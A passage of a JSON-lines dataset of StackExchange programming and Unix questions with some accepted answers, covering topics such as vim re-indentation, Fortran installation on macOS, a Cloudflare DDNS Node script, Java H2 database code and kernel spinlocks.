no answer that can tell you exactly how they indexed that one blog post as quick as they did. Maybe it was luck that they were crawling your site when you posted and it coincided with an update to their index."  } 
{  "id": "_datascience.8388"  , "question": "I am trying to cluster related areas of knowledge based in publications.For example a researcher has 3 keywords in a paper, in another paper he has 5 keywords, but 3 keywords are the same in the both papers. Then these 3 keywords are similar and It could be an area of knowledge. A sample of my file is:'Domain Ontology,Semantic Web''Linked Data,Domain Ontology,Use Case''Domain Ontology,Linked Data,Semantic Annotation''GIS,Open GIS,Integrated Geo Systems''Open GIS,GIS'My file contains 48963 rows and 19000 keywords. I have tried grouping words (like in the sample), using StringToWordVector (STWV), but I don't have good results. So I tried different K for my cluster since 3 until 13000. When K is greater my log likelihood decrease. In many models my words are grouped perfectly, but the percentages are not really good for some clusters. For example for K=3000, the 2999 have between 0,1% and 1% of the data, but the 3000 have the 21%. I am using WEKA. Anyone know some work related, some advice or any help is helpful...Cheers."  , "title": "Clustering related areas with k-means"  , "tags": "data mining;clustering;text mining"  } 
{  "id": "_softwareengineering.332736"  , "question": "I'm doing a little bit of cleanup and I'm trying to gather all the spread SQL queries done to an object into a single place. I have a class whose responsibility is to present a CRUD interface to the developer, and to encapsulate the results coming from selection queries into objects, that at the same time can be updated or deleted.So far so good. However, I noticed that across the site we have 115 different places where an object retrieval is done. I managed to find out that there are a total of 17 cases which, with a little bit of witchcraft and making a couple parameters optional, could be reduced to 9.9 retrieval methods feels too much to me for a class, especially if it already has many more methods to do the CRUD.I thought of using a mixin (more specifically in PHP, a trait) to keep all the methods together and in the class, although separate enough, to keep the main class as clean as possible (with just the most complete retrieval method, whose all the other methods would depend on), although since mixins are used to encapsulate and reuse across many classes, I wonder if there's a better way to do this without making the class too crowded.For the record, this class is not an ORM itself, although it uses one internally to do all the CRUD tasks. Instead, the methods are called like get_by_id, reset_timer, add_feature, and so."  , "title": "Encapsulate multiple retrieval methods for a class"  , "tags": "object oriented design;code organization;crud"  } 
{  "id": "_datascience.18754"  , "question": "I've been given a dataset with a number of observable states. I am trying to apply a Finite State Markov Chain to model the system, but I found that I can't estimate the transition probabilities if the observed states were sampled using different time intervals. How can I find these probabilities?I will try to make the question a more clear. I have samples collected in random intervals during a 6-month period. This samples represent the quality of a system, which is ranked from 0 to 15 in discrete intervals i.e. (0,1,2...15). I need to model de system using a FSMC to mimic the system's behavior. So far, I have estimated the transition probabilities between states using only the frequencies of those transitions using all the samples. I am not interested in modeling the time, however, I am not sure If I can estimate the transition probabilities in such a simple way or if I have to take the time between samples (which in my case is random) into consideration when estimating those probabilities."  , "title": "How to estimate the transition probabilities for a Markov Chain when time intervals are non-equally spaced"  , "tags": "probability;markov process"  } 
{  "id": "_unix.242854"  , "question": "This would probably never be the BEST approach to something, but I'm wondering if it's even possible.Something like:awk '/function_i_want_to_call/,/^$/{print}' script_containing_function | xargs sourcefunction_i_want_to_call arg1 arg2 arg3Except actually working."  , "title": "Source only part of a script from another script?"  , "tags": "shell script;scripting;function"  , "accepted_answer": "First you need to rigorously determine what command will produce the specific part you want to source. For a trivial example, given the filevar1=value1var2=value2you could set only var1 using head -n1 filename. This could be a pipeline of arbitrary complexity, if you wanted.Then run:source <( pipeline_of_arbitrary_complexity some_filename )Works only in bash. To do it in POSIX, I think you'd need to make a temp file."  } 
{  "id": "_unix.86625"  , "question": "I have a LaTeX source file with its indentation messed up.I am looking for a way to force vim (may be through one of vim-latex-suite commands) to re-run the automatic indentation commands over the whole file once again.I can easily get rid of the messed up indentation by eating up all the white spaces in the beginning of each line with a simple regex :%s/^\\s\\+//. My problem is how to re-run the automatic indentation commands over the whole file.( I am basically looking for something like the smart indent in MATLAB Editor or some other text editor, which can re-indent already existing text)."  , "title": "How to re-run vim auto-indentation on a tex file?"  , "tags": "vim;editors;latex"  , "accepted_answer": "Method #1: vimI believe you can do what you want with the following keyboard commands in vim, as follows.NOTE: =, the indent command can take motions.So:gg to get the start of the file= to indentG to the end of the filePutting it all together: gg=G.Method #2: without vimThis isn't a vim solution but I came across this Perl script titled LaTeXTidy.pl which might be more useful if you have multiple files you have to do this with.The original script and a copy on pastebin:http://bfc.sfsu.edu/LaTeXTidy-0.31.plhttp://pastebin.com/p7vV0GmaExampleTo run it you'll need to make it executable after downloading it and then just run it passing it the name of a latex file.download$ curl -o latextidy.pl http://bfc.sfsu.edu/LaTeXTidy-0.31.pl  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                 Dload  Upload   Total   Spent    Left  Speed100  4755  100  4755    0     0   1201      0  0:00:03  0:00:03 --:--:--  1334permissions and running$ chmod +x latextidy.pl$ ./latextidy.pl <some_latex_file.tex>"  } 
{  "id": "_scicomp.2469"  , "question": "Related question: State of the Mac OS in Scientific Computing and HPCA significant number of software packages in computational science are written in Fortran, and Fortran isn't going away. A Fortran compiler is also required to build other software packages (one notable example being SciPy).However, Mac OS X does not include a Fortran compiler. How should I install a Fortran compiler on my machine?"  , "title": "How should I install a Fortran compiler on a Mac? (OS X 10.x, x >= 4)"  , "tags": "software;fortran"  , "accepted_answer": "Pick your poison. I recommend using Homebrew. I have tried all of these methods except for Fink and Other Methods. Originally, I preferred MacPorts when I wrote this answer. In the two years since, Homebrew has grown a lot as a project and has proved more maintainable than MacPorts, which can require a lot of PATH hacking.Installing a version that matches system compilersIf you want the version of gfortran to match the versions of gcc, g++, etc. installed on your machine, download the appropriate version of gfortran from here. The R developers and SciPy developers recommend this method.Advantages: Matches versions of compilers installed with XCode or with Kenneth Reitz's installer; unlikely to interfere with OS upgrades; coexists nicely with MacPorts (and probably Fink and Homebrew) because it installs to /usr/bin. Doesn't clobber existing compilers. Don't need to edit PATH.Disadvantages: Compiler stack will be really old. (GCC 4.2.1 is the latest Apple compiler; it was released in 2007.) Installs to /usr/bin.Installing a precompiled, up-to-date binary from HPC Mac OS XHPC Mac OS X has binaries for the latest release of GCC (at the time of this writing, 4.8.0 (experimental)), as well as g77 binaries, and an f2c-based compiler. The PETSc developers recommend this method on their FAQ.Advantages: With the right command, installs in /usr/local; up-to-date. Doesn't clobber existing system compilers, or the approach above. Won't interfere with OS upgrades.Disadvantages: Need to edit PATH. No easy way to switch between versions. (You could modify the PATH, delete the compiler install, or kludge around it.) Will clobber other methods of installing compilers in /usr/local because compiler binaries are simply named 'gcc', 'g++', etc. (without a version number, and without any symlinks).Use MacPortsMacPorts has a number of versions of compilers available for use.Advantages: Installs in /opt/local; port select can be used to switch among compiler versions (including system compilers). Won't interfere with OS upgrades.Disadvantages: Installing ports tends to require an entire software ecosystem. Compilers don't include debugging symbols, which can pose a problem when using a debugger, or installing PETSc. (Sean Farley proposes some workarounds.) Also requires changing PATH. Could interfere with Homebrew and Fink installs. (See this post on SuperUser.)Use HomebrewHomebrew can also be used to install a Fortran compiler.Advantages: Easy to use package manager; installs the same Fortran compiler as in Installing a version that matches system compilers. Only install what you need (in contrast to MacPorts). Could install a newer GCC (4.7.0) stack using the alternate repository homebrew-dupes. Disadvantages: Inherits all the disadvantages from Installing a version that matches system compilers. May need to follow the Homebrew paradigm when installing other (non-Homebrew) software to /usr/local to avoid messing anything up. Could interfere with MacPorts and Fink installs. (See this post on SuperUser.) Need to change PATH. Installs could depend on system libraries, meaning that dependencies for Homebrew packages could break on an OS upgrade. (See this article.) I wouldn't expect there to be system library dependencies when installing gfortran, but there could be such dependencies when installing other Homebrew packages.Use FinkIn theory, you can use Fink to install gfortran. I haven't used it, and I don't know anyone who has (and was willing to say something positive).Other methodsOther binaries and links are listed on the GFortran wiki. Some of the links are already listed above. The remaining installation methods may or may not conflict with those described above; use at your own risk."  } 
{  "id": "_unix.355725"  , "question": "When building bash scripts, I use a lot of readonly, local, and even readonly local when making variables. That can rapidly fill your script and makes the code less readable (and repetitive). Is there a way (like a set flag at the top of the script, or something) to make all variables readonly and/or local by default?With he added caveat is has to work on 3.2.57(1)-release, as Im on macOS.Im pretty sure this isnt possible, but want to make sure.Please dont answer drop bash and use a proper scripting language. I use other scripting languages as well. bash scripts have their place and I like coding them."  , "title": "Make all variables readonly and local by default in bash"  , "tags": "bash;osx;variable"  } 
{  "id": "_codereview.112751"  , "question": "I'm working an open source project written in Python that is a wrapper to the Pushover API called py_pushover.  The main function of this wrapper is the push_message function which allows the user to push a notification.  The API has 10 possible parameters with only 3 being required.  I've handled those three required with named parameters and the optional parameters using kwargs.  Is this the most pythonic way of handling a large amount of parameters?push_message from py_pushover/py_pushover/message.pydef push_message(token, user, message, **kwargs):        Send message to selected user/group/device.    :param str token: application token    :param str user: user or group id to send the message to    :param str message: your message    :param str title: your message's title, otherwise your app's name is used    :param str device: your user's device name to send the message directly to that device    :param list device: your user's devices names to send the message directly to that device    :param str url: a supplementary URL to show with your message    :param str url_title: a title for your supplementary URL, otherwise just the URL is shown    :param int priority: message priority (Use the Priority class to select)    :param int retry: how often (in seconds) the Pushover servers will retry the notification to the user (required                      only with priority level of Emergency)    :param int expire: how many seconds your notification will continue to be retried (required only with priority                       level of Emergency)    :param datetime timestamp: a datetime object repr the timestamp of your message's date and time to display to the user    :param str sound: the name of the sound to override the user's default sound choice (Use the Sounds consts to                      select)    :param bool html: Enable rendering message on user device using HTML        data_out = {        'token': token,        'user': user,  # can be a user or group key        'message': message    }    # Support for non-required parameters of PushOver    if 'title' in kwargs:        data_out['title'] = kwargs['title']    if 'device' in kwargs:        temp = kwargs['device']        if type(temp) == list:            data_out['device'] = ','.join(temp)        else:            data_out['device'] = temp        data_out['device'] = kwargs['device']    if 'url' in kwargs:        data_out['url'] = kwargs['url']    if 'url_title' in kwargs:        data_out['url_title'] = kwargs['url_title']    if 'priority' in kwargs:        data_out['priority'] = kwargs['priority']        # Emergency prioritized messages require 'retry' and 'expire' to be defined        if data_out['priority'] == PRIORITIES.EMERGENCY:            if 'retry' not in kwargs:                raise TypeError('Missing `retry` argument required for message priority of Emergency')            else:                retry_val = kwargs['retry']                # 'retry' val must be a minimum of _MIN_RETRY and max of _MAX_EXPIRE                if not (_MIN_RETRY <= retry_val <= _MAX_EXPIRE):                    raise ValueError('`retry` argument must be at a minimum of {} and a maximum of {}'.format(                        _MIN_RETRY, _MAX_EXPIRE                    ))                data_out['retry'] = retry_val            if 'expire' not in kwargs:                raise TypeError('Missing `expire` arguemnt required for message priority of Emergency')            else:                expire_val = kwargs['expire']                # 'expire' val must be a minimum of _MIN_RETRY and max of _MAX_EXPIRE                if not(_MIN_RETRY <= expire_val <= _MAX_EXPIRE):                    raise ValueError('`expire` argument must be at a minimum of {} and a maximum of {}'.format(                        _MIN_RETRY, _MAX_EXPIRE                    ))                data_out['expire'] = expire_val            # Optionally a callback url may be supplied for the Emergency Message            if 'callback' in kwargs:                data_out['callback'] = kwargs['callback']    if 'timestamp' in kwargs:        data_out['timestamp'] = int(time.mktime(kwargs['timestamp'].timetuple()))    if 'sound' in kwargs:        data_out['sound'] = kwargs['sound']    if 'html' in kwargs:        data_out['html'] = int(kwargs['html'])    return send(_push_url, data_out=data_out)send from py_pushover/py_pushover/_base.pydef send(url, data_out=None, get_method=False):        Sends a request to the selected url with the payload `data_out`.  Set `get_method` to True to send as a GET request.    Default request is a POST.    :param str url: url to send the request to    :param dict data_out: payload data to send    :param bool get_method: True = GET request; False = POST request (default)    :return dict: a dictionary with the json results of the request.        if get_method:        res = requests.get(url, params=data_out)    else:        res = requests.post(url, params=data_out)    res.raise_for_status()    ret_dict = res.json()    if 'X-Limit-App-Limit' in res.headers:        ret_dict['app_limit'] = res.headers['X-Limit-App-Limit']    if 'X-Limit-App-Remaining' in res.headers:        ret_dict['app_remaining'] = res.headers['X-Limit-App-Remaining']    if 'X-Limit-App-Reset' in res.headers:        ret_dict['app_reset'] = res.headers['X-Limit-App-Reset']    return ret_dictNote: In order for this code to run properly you'll need to supply an app token and user/group id which is obtained from the Pushover site.  Creating an application is free, but registering a device to send a message to isn't.  There is, however, a free trial period of 7 days."  , "title": "Messaging API client function with many possible parameters"  , "tags": "python"  } 
{  "id": "_unix.25527"  , "question": "Is it possible to follow a binary file from the beginning, a la tail -f?This is useful in some cases, for example if I'm scping a file to a remote server, and at the same time I want to feed it to another process (yes, I know I can use ssh+cat tricks).As far as I read from the FM, tail is written having text files in mind.Is there any simple way of doing such operations using standard posix tools?"  , "title": "How to follow (a la tail -f) a binary file from the beginning?"  , "tags": "text processing;tail;binary"  , "accepted_answer": "tail works with binary data just as well as with text. If you want to start at the very beginning of the file, you can use tail -c +1 -f."  } 
{  "id": "_unix.319819"  , "question": "I'm new to linux administration and am trying to configure VSFTPD on my CentOS server to give me ftp access to the /root folder. Currently, I have access to folders in the parent directory, but not that one in particular. When trying to access /root through my ftp client I get the following:`Server said: Failed to change directory.Error -125: remote chdir failed`I can access root through as a root user through my terminal.  Here are the VSFTPD config settings    #nopriv_user=ftpsecure## Enable this and the server will recognise asynchronous ABOR requests. Not# recommended for security (the code is non-trivial). Not enabling it,# however, may confuse older FTP clients.#async_abor_enable=YES## By default the server will pretend to allow ASCII mode but in fact ignore# the request. Turn on the below options to have the server actually do ASCII# mangling on files when in ASCII mode.# Beware that on some FTP servers, ASCII support allows a denial of service# attack (DoS) via the command SIZE /big/file in ASCII mode. vsftpd# predicted this attack and has always been safe, reporting the size of the# raw file.# ASCII mangling is a horrible feature of the protocol.#ascii_upload_enable=YES#ascii_download_enable=YES## You may fully customise the login banner string:ftpd_banner=Welcome to ViceCraft FTP service.## You may specify a file of disallowed anonymous e-mail addresses. Apparently# useful for combatting certain DoS attacks.#deny_email_enable=YES# (default follows)#banned_email_file=/etc/vsftpd/banned_emails## You may specify an explicit list of local users to chroot() to their home# directory. If chroot_local_user is YES, then this list becomes a list of# users to NOT chroot().chroot_local_user=YES#chroot_list_enable=YES# (default follows)#chroot_list_file=/etc/vsftpd/chroot_list## You may activate the -R option to the builtin ls. This is disabled by# default to avoid remote users being able to cause excessive I/O on large# sites. However, some broken FTP clients such as ncftp and mirror assume# the presence of the -R option, so there is a strong case for enabling it.#ls_recurse_enable=YES## When listen directive is enabled, vsftpd runs in standalone mode and# listens on IPv4 sockets. This directive cannot be used in conjunction# with the listen_ipv6 directive.listen=YES## This directive enables listening on IPv6 sockets. To listen on IPv4 and IPv6# sockets, you must run two copies of vsftpd with two configuration files.# Make sure, that one of the listen options is commented !!#listen_ipv6=YESlocal_root=/pam_service_name=vsftpduserlist_enable=YEStcp_wrappers=YES"  , "title": "Unable to access /root in CentOS server with ' VSFTPD'"  , "tags": "centos;vsftpd"  } 
{  "id": "_unix.116498"  , "question": "ls -la .will show this in it:insgesamt 1312drwxrwxr-x  6 ruben rubo77   4096 Feb 23 06:20 .drwxrwxr-x 23 ruben rubo77   4096 Feb  6 21:48 .....But it will show the whole content of the folder too. I could narrow the output with head and tail:ls -la .|head -n 2|tail -n 1But isn't there an option in ls to show only the current directory you are in?"  , "title": "List the file permissions of only the current directory"  , "tags": "bash;directory"  , "accepted_answer": "No argument to ls necessary, the -d option alone together with -l will dols -ld"  } 
{  "id": "_codereview.172198"  , "question": "I've created a simple Node script to read the IPv6 addresses of an interface and update a CloudFlare hostname with those addresses. I've designed it so that it can be activated via an instantiated systemd service that detects when the IP address changes.Here is the script:#!/usr/bin/env nodeconst os = require('os');const Cf = require('cloudflare4');const request = require('request-promise');const argv = require('yargs')  .usage('Usage: $0 -c [configuration file]')  .alias('c', 'config')  .demandOption(['c'])  .describe('c', 'path to configuraiton file')  .alias('i', 'interface')  .describe('i', 'Override the interface declared in the configuration file')  .boolean('s')  .default('s', false)  .describe('s', 'skip updating of host')  .help('h')  .alias('h', 'help')  .argv;const config = require(argv.c);if (argv.i) {  config.interface = argv.i;}const cf = new Cf({  email: config.email,  key: config.key,});const IPv4 = {  name: 'IPv4',  type: 'A',  locator: getIPv4Address,};const IPv6 = {  name: 'IPv6',  type: 'AAAA',  locator: getIPv6Address,};updateAddressesByFamily(IPv6);updateAddressesByFamily(IPv4);function updateAddressesByFamily(family) {  const remoteAddressPromise = cf.zoneDNSRecordGetAll(config.zone, {    type: family.type,    name: config.name,  });  const localAddressPromise = family.locator();  Promise.all([remoteAddressPromise, localAddressPromise]).then((result) => {    const [remoteAddresses, localAddresses] = result;    logAddresses(remoteAddresses.map(a => a.content), `Remote ${family.name} Addresses`);    logAddresses(localAddresses, `Local ${family.name} Addresses`);    const staleAddresses = remoteAddresses.filter(address => !localAddresses.includes(address.content));    logAddresses(staleAddresses.map(a => a.content), `Stale ${family.name} Addresses`);    const newAddresses = localAddresses.filter(address => !remoteAddresses.map(a => a.content).includes(address));    logAddresses(newAddresses, `New ${family.name} Addresses`);    const removalPromises = argv.s ? [] : staleAddresses.map(address => cf.zoneDNSRecordDestroy(config.zone, address.id));    const additionPromises = argv.s ? [] : newAddresses.map(address => cf.zoneDNSRecordNew(config.zone, {      type: family.type,      name: config.name,      content: address,      ttl: 1,    }));    return Promise.all([...removalPromises, ...additionPromises]);  }).then(() => {    console.log(`Successfully updated ${family.name} addresses`);  }).catch((error) => {    console.error(`Unable to update ${family.name} addresses: ${error}`);  });}function getIPv4Address() {  const options = {    uri: 'https://ipinfo.io/json',    json: true,  };  return request.get(options).then(response => [response.ip]);}function getIPv6Address() {  const networkInterface = os.networkInterfaces()[config.interface];  if (!networkInterface) return Promise.reject(`Unknown interface ${config.interface}`);  const addresses = networkInterface.filter(x => x.family === IPv6.name && x.scopeid === 0).map(x => x.address);  return Promise.resolve(addresses);}function logAddresses(addresses, label) {  if (label) {    console.log(`${label}: `);  }  console.log(`\\t${addresses.sort().join(',\\n\\t')}`);}Here is the systemd service file:[Unit]Description=Update CloudFlare with latest IP addresses from %IBindsTo=sys-subsystem-net-devices-%i.deviceAfter=sys-subsystem-net-devices-%i.deviceWants=network-online.targetAfter=network-online.target[Service]Type=oneshotRemainAfterExit=yesExecStart=/usr/local/bin/ddns-cloudflare -c /path/to/config.json -i %I[Install]WantedBy=multi-user.target"  , "title": "Node.js script and systemd service to update CloudFlare on IP address change"  , "tags": "javascript;node.js;ip address"  } 
{  "id": "_webapps.41980"  , "question": "I experience this annoying effect and I don't understand if the problem is of the OS (OS X), the browser (Chrome), the Flash player, or YouTube itself. Everything is upgraded to the latest version, with the exception of OS X (10.6.8).What happens is the following: when a movie is playing, the moving circle cursor indicating the position is always followed (or preceded, your choice) by a light grey area of buffering. I can freely move the cursor within this area by clicking in any position, and the movie will correctly go to that position, but if I try to click to an area that is still not buffered (dark grey), the cursor will move there for a brief interval and then immediately bounce back to the end of the  available buffer (the end of the grey area). Occasionally, if I either drag the cursor instead of clicking, or if I pause the movie and then move the cursor, it will behave as I expect (starting the movie from the position I choose) but this is rare.Am I the only one experiencing this? How can I fix it?"  , "title": "Skipping to position in YouTube player is apparently limited to buffered data"  , "tags": "google chrome;flash;youtube"  } 
{  "id": "_unix.91586"  , "question": "This is where I spent much time to know why I'm unable to connect to my local box from my own remote server (VPS); seems to be my local box's IP address issue.To begin with, let me 1st tell how I operate in Internet.I connect my laptop with my cellphone Nokia N73 having Vodafone SIM card. This way (dial-up) my laptop is connected to Internet.Regarding the remote server (VPS), I purchased it from http://lvpshosting.com/.They provide 100 Mb/s net speed.I have remote's IP address. I ssh it and connect. Now, to connect from there to my local, I need my local IP add. So, checked my IP executing ifconfig on my local box. Please see the output below:ravbholua@ravbholua-Aspire-5315:~$ ifconfigeth0      Link encap:Ethernet  HWaddr 00:1b:38:d0:45:ea            UP BROADCAST MULTICAST  MTU:1500  Metric:1          RX packets:0 errors:0 dropped:0 overruns:0 frame:0          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0          collisions:0 txqueuelen:1000           RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)          Interrupt:18 lo        Link encap:Local Loopback            inet addr:127.0.0.1  Mask:255.0.0.0          inet6 addr: ::1/128 Scope:Host          UP LOOPBACK RUNNING  MTU:65536  Metric:1          RX packets:493 errors:0 dropped:0 overruns:0 frame:0          TX packets:493 errors:0 dropped:0 overruns:0 carrier:0          collisions:0 txqueuelen:0           RX bytes:85372 (85.3 KB)  TX bytes:85372 (85.3 KB)ppp0      Link encap:Point-to-Point Protocol            inet addr:10.224.108.37  P-t-P:10.6.6.6  Mask:255.255.255.255          UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1500  Metric:1          RX packets:4848 errors:0 dropped:0 overruns:0 frame:0          TX packets:5375 errors:0 dropped:0 overruns:0 carrier:0          collisions:0 txqueuelen:3           RX bytes:2352345 (2.3 MB)  TX bytes:698847 (698.8 KB)From here, I suppose it to be 10.224.108.37. But when using this from remote, it doesn't work to connect to my local box.I have tried using the following for my local IP address.http://www.ipchicken.com/http://whatismyip.org/These 2 links gave IP address but none worked. As someone told that the address given by these 2 links are of my cell phone and not of my laptop. Also when I connect to my remote from local via ssh, then when I log in to my remote, the remote server messages as seen below:ravbholua@ravbholua-Aspire-5315:~$ ssh  rsravbholua@rs's password: Welcome to Ubuntu 13.04 (GNU/Linux 2.6.32-042stab076.5 i686) * Documentation:  https://help.ubuntu.com/No mail.Last login: Tue Sep 10 08:04:49 2013 from 123.63.112.140This IP address as mentioned above is similar to what I get from the 2 links above. (And is not the one given by command ifconfig.)So, one told me that the remote server displays the IP of the cell phone which is acting as a router and your local machine is not reachable. But I couldn't get any further solution on how my local box would be reached.Please have a note here that I had posted this query on a different site (mentioned below), but couldn't get solution. It would be very useful if one please have a look at that thread of mine in that forum:http://www.linuxquestions.org/questions/linux-networking-3/not-able-to-do-password-free-access-to-remote-machine-4175475825/Much of my other related tasks are pending due to this issue. I am too hopeful from this site as a few other earlier unsolved queries of mine got solved in this site."  , "title": "Not able to access my local machine from remote server; what's my local IP address?"  , "tags": "ssh;ip;mobile"  } 
{  "id": "_softwareengineering.81743"  , "question": "I will not bother you with details of my discussion so I will present it in the form of a short instance.A java guy has been following articles and publications of a famous programmer (a kind of Martin Fowler of my country). He says that he is sharing some secrets which other famous programmers don't share.I never believe that there are some secrets like wizards in the programming area. But some programmers who are not good yet in this area think that other famous programmers are success because they know some secrets that we don't. I totally disagree with this and I discussed it with someone and finally he said to me you are 2 years in this area and he (java guy) is 20 years professional programmer so he knows better than you.I wanted to be sure that I am not wrong. That's why I wanted to know this."  , "title": "Do some programmers know some secrets that we others don't?"  , "tags": "skills;knowledge"  } 
{  "id": "_codereview.26242"  , "question": "I just wrote my first Java database program for the purpose of getting feedback on the implementation and coding. It has 1 table and 2 buttons and prompts the user to select a folder, lists the contents of the folder in the table and lists the hash of the files in the table and writes it to a database.It works fine, but I have no idea if I coded it cleanly and split the program into the proper packages and classes. It's definitely a beginner level project so there is nothing too complex about it.  I'm also using the h2 database because I was told its the most efficient for small databases.  Could you all please give me feedback on this?I used NetBeans 7.3 and uploaded the full project here. This is the class I'm using for the database.  It contains most of the code I have in question, but there are other parts of the project as a whole I'm concerned if they were organized correctly:public class CDatabaseLayer {    private static ArrayList<CFileObject> fileList = new ArrayList();    private static Server server;    private static JdbcDataSource ds = new JdbcDataSource();    private static Connection conn;    private static int lastId = 0;    private static Statement stat;    private static ResultSet rs;    private static String query;    static public ArrayList<CFileObject> getFileList() {        connectDatabase();        return fileList;    }    static public boolean connectDatabase()    {        System.out.println(Attempting to connect to database.);        if(server == null) {            try {                server = Server.createTcpServer();                server = server.start();            } catch (SQLException ex) {                System.out.println(connectDatabase createTcpServer() exception: +ex);                return false;            }        }        //return false if connected        if(conn != null) {            System.out.println(Already established DB connection.);            return false;        } else {            try {                //connect to database                ds.setURL(jdbc:h2:test);                ds.setUser(sa);                ds.setPassword();                conn = ds.getConnection();                if(conn.isClosed()) {                    System.out.println(Connection not established.);                } else {                    System.out.println(Connected.);                    createFileListTable();                    loadFileListTable();                }            } catch (SQLException ex) {                System.out.println(connectDatabase getConnection() exception: +ex);            }        }        return true;    }    static private void loadFileListTable()    {        try {            stat = newStatement();            rs = stat.executeQuery(select * from fileList);            fileList.clear();            while(rs.next()) {                CFileObject objF = new CFileObject();                objF.fileName = rs.getString(fileName);                objF.filePath = rs.getString(filePath);                objF.fileHash = rs.getString(fileHash);                fileList.add(objF);            }        } catch (SQLException ex) {            System.out.println(loadFileListTable exception: +ex);        }    }    static public void manipulateFiles() throws SQLException {                try {            if(conn.isClosed()) {                System.out.println(manipulateFiles: Connection is closed.);            }        } catch (SQLException ex) {            System.out.println(manipulateFiles connection exception: +ex);        }        for(CFileObject f : fileList) {            String hash = new String();            try {                hash = hashFile.getMD5Checksum(f.filePath);            } catch (Exception ex) {                System.out.println(manipulateFiles hash exception: +ex);            }            f.fileHash = hash;            query = update filelist set filehash = '+hash+' where filepath = '+f.filePath+';            stat = newStatement();            //QUESTION: Why does this return false??            stat.execute(query);        }       }    static public void updateDatabaseWithFilesFromPath(File path)    {        ArrayList<CFileObject> list;        list = CFileObject.getListFromPath(path);        for(CFileObject file : list) {            if(!entryExists(filelist, filepath, file.filePath)) {                try {                    lastId = nextUnusedId();                    addFileEntry(lastId, file.fileName, file.filePath);                    fileList.add(file);                } catch (SQLException ex) {                    System.out.println(updateDatabaseWithFilesFromPath exception: +ex);                }            }        }    }    /*    static public void updateDatabase() throws SQLException    {        lastId = nextUnusedId();        for (final CFileObject file : fileList) {            if(!entryExists(filelist, filepath, file.filePath)) {                lastId = nextUnusedId();                addFileEntry(lastId, file.fileName, file.filePath);            }        }    }    */    private static Statement newStatement()    {        try {            stat = conn.createStatement();            return stat;        } catch (SQLException ex) {            System.out.println(newStatement exception: +ex);        }        return null;    }    //QUESTION: Is there a more efficient way to do this?    private static void createFileListTable()    {        try {                                //see if fileList table exists.  if not, catch error and create it            try {                stat = newStatement();                stat.executeQuery(select * from fileList);            } catch(SQLException e) {                if(e.toString().contains(Table \\FILELIST\\ not found)) {                    System.out.println(Creating filelist table.\\n);                    stat.execute(create table filelist(id int primary key, fileName varchar(255), filePath varchar(512), fileHash varchar(32)));                } else {                    System.out.println(e);                }            }        } catch(SQLException ex) {            System.out.println(createFileListTable exception: +ex);        }    }    private static int nextUnusedId()    {        try {            stat = newStatement();            rs = stat.executeQuery(select id from fileList);            if(rs.last()) {                lastId = rs.getInt(id);                lastId++;            }        } catch (SQLException ex) {            System.out.println(nextUnusedId exception: +ex);        }        return lastId;    }    private static boolean entryExists(String table, String prop, String val)    {        try {            stat = newStatement();            query = select 1 from +table+ where +prop+ = '+val+';            rs = stat.executeQuery(query);            return rs.last();        } catch (SQLException ex) {            System.out.println(entryExists exception: +ex);        }        return true;    }    private static void addFileEntry(int entryId, String fileName, String filePath) throws SQLException    {        query = insert into fileList values(+entryId+, '+fileName+', '+filePath+', 0);        stat = newStatement();        //QUESTION: Why does this return false??        stat.execute(query);    }    static public void disconnectDatabase()    {        server.stop();    }}"  , "title": "Basic Java database"  , "tags": "java;database"  , "accepted_answer": "This is what I noticed after taking a quick look:I'm not a big fan of the static/singleton-ness of this class.  Those attributes make this class harder to mock and unit test.  Take a look at POJO/dependency injection (you don't need a container to do DI).I would consider separating the database/Connection opening stuff into its own class.  There should be separation of what the data access/service layer from the resource/connection code.  Take a look at DAO/Service patterns.getFileList() returns a concrete List implementation instead of the List interface.A lot of your methods don't close the ResultSet and Statement objects once they are done with them.  They should be closed in finally blocks.Your catch blocks aren't doing much besides printing to System.out.  You need to either handle recoverable exceptions there or propogate them up the stack as a RuntimeException.Not sure why you need newStatement().You are manually creating and executing SQL strings.  This is a bad idea.  Replace these with PreparedStatements.This class isn't threadsafe.  It should be documented as much."  } 
{  "id": "_datascience.20102"  , "question": "Have a dataset of a E-learning company  which have information related to the students demographics, package, payment info, services used, class or grade (KG to 12), login details.  If you want i can share the sample data set.Could anyone help me out in understanding what business value can be derived from this data. I am really confused. I did some analysis was able to find out the max service consumption. Any help would be appreciated"  , "title": "Analysis of data E-learning website"  , "tags": "machine learning;r;predictive modeling"  } 
{  "id": "_softwareengineering.258514"  , "question": "Looking into DDD and something I noticed is that business logic should be in the model, otherwise you just have property bags.  That said how do you handle pieces of validation that require a trip to the database?For example, you have an domain object that represent categories for a blogging engine.public class Category{    public int Id { get; set; }    public string Name { get; set; }}From a developer's perspective, you could create an empty category, but this isn't valid in the business world.  A Category requires a Name to be a valid category, therefore we end up with:public class Category{    public int Id { get; set; }    public string Name { get; set; }    public Category(string name)    {        Name = name;    }}Now, a Category can't be created without a name.  But, we can't have duplicate Category names either, that would just cause confusing and redundancy.  I don't want the entity to handle it themselves because this would end up more of an Active Record Pattern and I don't want the model to be self-aware/persisting so to speak.So to this point, where should this validation take place.  It is important that if the user types an duplicate Category, we would notify the user of this.  Should there be a service layer that takes a UI model and turns it into the domain model and attempts to validate it, pushing errors back to the UI, or should there be something closer to the data layer that handles this?Someone please set me straight because I really like where DDD is going, I just can't make all the connections to get there myself."  , "title": "Domain Model, validation, and pushing errors to the model"  , "tags": "domain driven design;validation;layers"  } 
{  "id": "_unix.295606"  , "question": "I want to reduce the big file (*.jar) in unix.i have tried with tar,bzip,gzip and zip commands. but all are same result not compressed much.Could any one help on this ???"  , "title": "Reduce a size of a file(.jar) in unix"  , "tags": "zip;compression"  } 
{  "id": "_unix.5107"  , "question": "I understand that Spinlocks are real waste in Linux Kernel Design.I would like to know why is it like spin locks  are good choices in Linux Kernel Design instead of something more common in userland code, such as semaphore or mutex?  "  , "title": "Why are spin locks good choices in Linux Kernel Design instead of something more common in userland code, such as semaphore or mutex?"  , "tags": "linux;semaphore;spinlock"  , "accepted_answer": "The choice between a spinlock and another construct which causes the caller to block and relinquish control of a cpu is to a large extent governed by the time it takes to perform a context switch (save registers/state in the locking thread and restore registers/state in another thread). The time it takes and also the cache cost of doing this can be significant. If a spinlock is being used to protect access to hardware registers or similar where any other thread that is accessing is only going to take a matter of milliseconds or less before it releases the lock then it is a much better use of cpu time to spin waiting rather than to context switch and carry on."  } 
